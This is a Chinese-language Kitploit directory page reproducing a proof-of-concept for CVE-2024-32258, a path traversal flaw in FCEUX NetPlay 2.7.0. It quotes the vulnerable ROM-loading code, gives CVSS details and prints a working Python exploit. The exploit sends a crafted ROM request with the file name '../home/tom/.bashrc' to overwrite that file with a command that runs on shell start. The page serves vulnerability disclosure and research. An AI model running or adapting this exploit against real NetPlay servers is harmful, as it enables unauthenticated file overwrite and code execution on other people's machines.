Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-32258 — CVE-2024-32258 的概念验证漏洞利用程序,该漏洞是 FCEUX NetPlay 2.7.0 中的路径遍历漏洞,可通过精心构造的 ROM 请求实现未经认证的远程任意文件覆盖。 | Kitploit
工具/GitHubGitHub/secnotes/cve-2024-32258
漏洞分析漏洞利用Web应用程序漏洞利用CTF渗透测试学习与教育
GitHubsecnotes/cve-2024-32258

CVE-2024-32258

CVE-2024-32258 的概念验证漏洞利用程序,该漏洞是 FCEUX NetPlay 2.7.0 中的路径遍历漏洞,可通过精心构造的 ROM 请求实现未经认证的远程任意文件覆盖。

查看仓库
311年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

概述

  • CVE ID:CVE-2024-32258
  • 类型:路径遍历
  • 厂商:FCEUX
  • 产品:FCEUX_NetPlay
  • 版本:2.7.0
  • 修复:48b48e7c13be1b949074f42660a33c7ef57135e1

描述

FCEUX 是一款 NES 模拟器,能将我们带回童年时光。它提供了多种有趣的功能,例如支持两名玩家在线联机游戏。

服务器和客户端可以互相传递 ROM,但服务器并未过滤客户端发送的 ROM 名称中的特殊字符。此路径遍历漏洞可导致服务器上的任意文件被覆盖。更严重的是,远程加载 ROM 无需身份验证,即使服务器设置要求密码登录也是如此。

该问题是在提交 798c5a1d9c73b899cdbe3d613c0022588281979f 中引入的 - 为 NetPlay 增加了客户端请求加载 ROM 的功能。

root@kitploit:~
if (acceptRomLoadReq)
{
    FILE *fp;
    std::string filepath = QDir::tempPath().toLocal8Bit().constData(); 
    const char *romData = &static_cast<const char*>(msgBuf)[ sizeof(netPlayLoadRomReq) ];

    filepath.append( "/" );
    filepath.append( msg->fileName );

    printf("Load ROM Request Received: %s\n", filepath.c_str());

    //printf("Dumping Temp Rom to: %s\n", filepath.c_str());
    fp = ::fopen( filepath.c_str(), "w");

    if (fp == nullptr)
    {
        return;
    }
    ::fwrite( romData, 1, msgSize, fp );
    ::fclose(fp);

    FCEU_WRAPPER_LOCK();
    LoadGame( filepath.c_str(), true, true );
    FCEUI_SetEmulationPaused(EMULATIONPAUSED_PAUSED);
    FCEU_WRAPPER_UNLOCK();

    resyncAllClients();
}

msf->fileName 和 fp 均由攻击者指定。

PoC

你可以通过编译源代码获取 fceux,也可以直接使用我们编译好的二进制文件。fceux.zip

PoC

root@kitploit:~
import socket
import binascii

client = socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM)
client.connect(('192.168.17.131', 4046))

header = "aa55aa55aa55aa550000000a00000204000000f0"
file_name = '../home/tom/.bashrc'
padding1 = '\0' * (256 - len(file_name))
nes_content = "gnome-calculator\n"
padding2 = '\0' * 0x100

client.send(binascii.unhexlify(header) + (file_name + padding1 + nes_content + padding2).encode())
res = client.recv(1024)
print(res)

packet = "0000000000000000000000000800450000641108400040062b8a7f0000017f000001cd340fcee511e70e3cfc427080180200fe5800000101080a94ee338594ee3382aa55aa55aa55aa5500000028000000300000000100000001000000000000000000000000000000000000000000000000"
client.send(binascii.unhexlify(packet))
res = client.recv(1024)
print(res)

祝玩得开心!😄

https://github.com/liyansong2018/CVE-2024-32258/assets/25031216/2c237254-3ff8-4690-b0ea-d413f6e8c48d

严重性

高危 8.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

作者

Yansong Li 和 Yijie Xun(西北工业大学)

下载工具
CVSS3.1评分详情
攻击向量网络通过网络发起攻击
攻击复杂度低只需发送两条消息
所需权限无发送攻击数据包无需任何权限
用户交互需要点击确认按钮以加载 ROM。
影响范围不变不适用
机密性高任意文件覆盖
完整性高任意文件覆盖
可用性高任意文件覆盖